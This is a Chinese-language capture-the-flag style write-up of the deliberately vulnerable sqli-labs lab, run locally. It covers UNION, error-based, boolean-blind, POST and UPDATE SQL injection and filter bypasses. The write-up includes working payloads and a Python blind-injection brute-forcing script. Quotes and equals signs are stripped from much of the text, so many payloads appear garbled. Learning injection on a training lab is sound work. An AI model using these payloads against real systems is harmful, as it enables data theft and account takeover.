sqli-labs 通关报告
sqli-labs 通关报告环境sqli-labs / phpstudy_pro环境说明在 phpstudy_pro 中部署 sqli-labs-master访问 http://127.0.0.1/sqli-labs-master/ 即可开始闯关。所有关卡的安全级别均为默认设置未修改任何源码。闯关记录Less-1GET - 字符型注入单引号闭合页面功能通过 URL 参数 id 查询用户信息。第一步判断注入点正常请求?id1 → 页面显示用户名和密码 测试注入?id1 → 页面报错显示 SQL 语法错误 验证注入?id1 AND 11 → 正常显示 ?id1 AND 12 → 无返回结论存在字符型注入单引号闭合。数据来源为users表。第二步猜解列数?id1 ORDER BY 1 -- → 正常 ?id1 ORDER BY 2 -- → 正常 ?id1 ORDER BY 3 -- → 正常 ?id1 ORDER BY 4 -- → 报错结论共 3 列。第三步确定显示位?id-1 UNION SELECT 1,2,3 --页面显示Your Login name:2、Your Password:3。说明 2 和 3 是回显位第 1 列不回显。第四步获取数据库名?id-1 UNION SELECT 1,database(),3 --结果security第五步获取表名?id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() --结果emails,referers,uagents,users第六步获取字段名?id-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers AND table_schemadatabase() --结果id,username,password第七步获取数据?id-1 UNION SELECT 1,group_concat(username),group_concat(password) FROM users --结果admin,gordonb,1337,pablo,smithy/ 对应的密码哈希值总结字符型注入用闭合。通过 ORDER BY 判断列数通过 UNION SELECT 获取数据。--用于注释掉后续 SQL 语句防止语法错误。Less-2GET - 数字型注入不需要引号第一步判断注入点?id1 → 正常 ?id1 → 报错 ?id1 AND 11 → 正常 ?id1 AND 12 → 无返回注意1报错不是因为 SQL 语法错误而是因为数据库把1当成数字时发生了隐式转换。可以用AND 11和AND 12来验证注入是否存在。结论数字型注入不需要引号闭合直接拼接数字即可。第二步到第七步流程同 Less-1但不需要单引号和注释符。猜列数?id1 ORDER BY 3 → 正常 ?id1 ORDER BY 4 → 报错 显示位?id-1 UNION SELECT 1,2,3 爆库名?id-1 UNION SELECT 1,database(),3 爆表名?id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() 爆数据?id-1 UNION SELECT 1,group_concat(username), group_concat(password) FROM users总结跟 Less-1 的区别在于 SQL 查询语句中 id 参数没有用引号包裹WHERE id $id所以注入时不需要加单引号也不需要注释符。Less-5GET - 报错注入双查询注入页面特性输入?id1显示You are in...输入?id2也显示You are in...但没有数据回显位。因此无法使用 UNION SELECT 注入。第一步确认回显情况?id-1 UNION SELECT 1,2,3 --页面仍然只显示You are in...说明没有回显位。第二步使用报错注入报错注入的原理是让两个查询嵌套由于COUNT(*)RAND()GROUP BY会产生键值冲突导致 MySQL 报错报错信息中会包含子查询的结果。爆库名?id1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --页面报错信息Duplicate entry security1 for key group_key。说明数据库名为security。第三步爆表名?id1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT( (SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --结果emails1修改LIMIT 0,1→LIMIT 1,1可以获取下一个表名。依次类推得到所有表名。第四步爆字段名?id1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT( (SELECT column_name FROM information_schema.columns WHERE table_nameusers LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --第五步爆数据?id1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT( (SELECT username FROM users LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --总结当页面没有回显位时报错注入是获取数据的有效手段。核心是利用COUNT(*)RAND()GROUP BY制造冲突把查询内容通过报错信息展示出来。但报错注入一次只能获取一条数据需要用LIMIT逐条查询效率较低。Less-6GET - 布尔盲注双引号闭合页面特性输入不同 id页面只显示You are in...真或空白假没有报错信息也没有回显。跟 Less-5 的区别Less-5有报错信息可以用报错注入Less-6没有报错信息只能用布尔盲注第一步确认注入点?id1 → 正常因为双引号没闭合 ?id1 -- → 正常 ?id1 AND 11 -- → 正常 ?id1 AND 12 -- → 无返回结论双引号闭合存在注入。第二步盲注爆破数据库名长度?id1 AND LENGTH(database())1 -- → 无返回 ?id1 AND LENGTH(database())2 -- → 无返回 ... ?id1 AND LENGTH(database())8 -- → 正常数据库名长度为 8。第三步逐字符猜解数据库名?id1 AND SUBSTR(database(),1,1)a -- → 无返回 ?id1 AND SUBSTR(database(),1,1)b -- → 无返回 ... ?id1 AND SUBSTR(database(),1,1)s -- → 正常第 1 位是 s。继续猜第 2 位、第 3 位……共 8 位得到security。手动猜解太慢建议写 Python 脚本importrequestsimportstring urlhttp://127.0.0.1/sqli-labs-master/Less-6/charsstring.ascii_lowercasestring.digits# 爆数据库名db_nameforiinrange(1,9):forcinchars:payloadf?id1 AND SUBSTR(database(),{i},1){c} --rrequests.get(urlpayload)ifYou are ininr.text:db_namecprint(f[] 数据库名第{i}位:{c})breakprint(f[] 数据库名:{db_name})第四步爆表名# 获取表名长度payload?id1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1))5 --# 逐字符猜表名foriinrange(1,6):forcinchars:payloadf?id1 AND SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1),{i},1){c} --# 判断页面返回结果第一个表名emails第二个referers第三个uagents第四个users。x总结布尔盲注是效率最低但最通用的注入方式。只要有 True/False 两种状态就可以通过逐字符比较来爆破数据。实际操作必须用脚本自动化手工几乎不可能完成。Less-13POST - 字符型注入页面功能登录页面输入用户名和密码进行验证。第一步判断注入点打开 BurpSuite 拦截请求提交正常的用户名密码unameadminpasswdadminsubmitSubmit第二步分别测试两个字段测试用户名unameadminpasswdadminsubmitSubmit页面报错说明用户名参数存在注入。测试密码unameadminpasswdadminsubmitSubmit页面也报错说明密码参数也存在注入。第三步猜解列数unameadmin ORDER BY 1 -- passwdadminsubmitSubmit unameadmin ORDER BY 2 -- passwdadminsubmitSubmit结果为 2 列。第四步联合查询unameadmin UNION SELECT 1,2 -- passwdadminsubmitSubmit页面显示 1 和 2说明两个都是回显位。第五步获取数据unameadmin UNION SELECT database(),user() -- passwdadminsubmitSubmit unameadmin UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schemadatabase() -- passwdadminsubmitSubmit总结POST 注入跟 GET 注入的原理完全一样区别在于参数写在请求体里而不是 URL 里。需要用 BurpSuite 拦截请求后修改参数。初学者容易卡在这一关上因为不知道在哪改参数——你只需要在 Burp 的 Intercept 界面找到对应的 POST 参数名直接改值即可。Less-17UPDATE 注入页面功能密码重置页面需要输入用户名和新密码。注入点在 password 参数。第一步识别注入点unameadminpasswdadmin页面报错。注意这里不是 SELECT 查询而是 UPDATE 更新语句。第二步判断闭合方式unameadminpasswdadmin AND 11正常执行不报错。第三步利用注入修改数据或获取数据unameadminpasswdadmin,email(SELECT database()) --这个语句会把当前数据库名写入 email 字段登录后可以看到 email 变成了security。unameadminpasswdadmin,email(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()) --把表名写入 email 字段。unameadminpasswdadmin,email(SELECT password FROM users WHERE id1) --把其他用户的密码哈希写入当前用户的 email 字段。总结UPDATE 注入跟 SELECT 注入的区别在于——你不能直接用 UNION 查询而是要通过子查询把数据写入某个你能够看到的字段比如 email再读取出来。实际场景中UPDATE 注入可以用来修改管理员密码、提权等危害更大。Less-26空格绕过 注释符过滤页面功能同 Less-1但增加了过滤规则。第一步确认过滤规则?id1 -- → 正常能闭合 ?id1 UNION SELECT 1,2,3 -- → 报错尝试了空格被过滤。尝试/**/注释代替空格?id1/**/UNION/**/SELECT/**/1,2,3/**/--同样报错说明/**/也被过滤了。查看源码发现过滤规则$strstr_replace( ,,$str);// 过滤空格$strstr_replace(/*,,$str);// 过滤注释开头$strstr_replace(*/,,$str);// 过滤注释结尾$strstr_replace(--,,$str);// 过滤 SQL 注释符$strstr_replace(#,,$str);// 过滤井号注释第二步绕过空格过滤MySQL 中可以用%09Tab、%0a换行、%0d回车代替空格?id1%09UNION%09SELECT%091,2,3%09--或者用括号绕过SELECT 和 UNION 之间不能有空格但函数参数可以不用空格?id1 UNION(SELECT(1),database(),3)--第三步绕过注释符过滤因为--和#都被过滤URL 中不在末尾加注释符利用 URL 本身截断?id1%09UNION%09SELECT%091,2,3%09WHERE%0911或者利用%00空字节截断。最终 Payload?id1%09UNION%09SELECT%091,database(),3%09WHERE%0911总结实际渗透中遇到过滤是最常见的情况。关键是不要一看到报错就放弃要分析是哪部分被过滤了然后找到对应的绕过方式。常见绕过方式Tab 代替空格、括号包裹、双写绕过、大小写绕过。遇到的问题汇总问题发生关卡原因解决UNION 查询不回显Less-5、6页面没有回显位改用报错注入或盲注空格被过滤Less-26源码过滤了空格用 %09 Tab 字符代替空格注释符被过滤Less-26过滤了 – 和 #用 WHERE ‘1’1 截断POST 改包不熟悉Less-13没用过 BurpSuite打开 Intercept提交后改参数盲注太慢Less-6手工逐字符猜写 Python 脚本自动化总结sqli-labs 的核心思路总结成一句话如何判断注入 → 如何闭合 → 如何获取数据步骤方法判断注入输入看是否报错输入AND 11/12看返回是否不同确定闭合方式数字型不用引号字符型用或猜解列数ORDER BY N有回显UNION SELECT 直接查无回显有报错报错注入COUNTRANDGROUP BY无回显无报错布尔盲注 / 时间盲注有过滤替换空格、注释符、大小写、双写掌握了这个思路65 关就是在反复练习同一种能力的变体。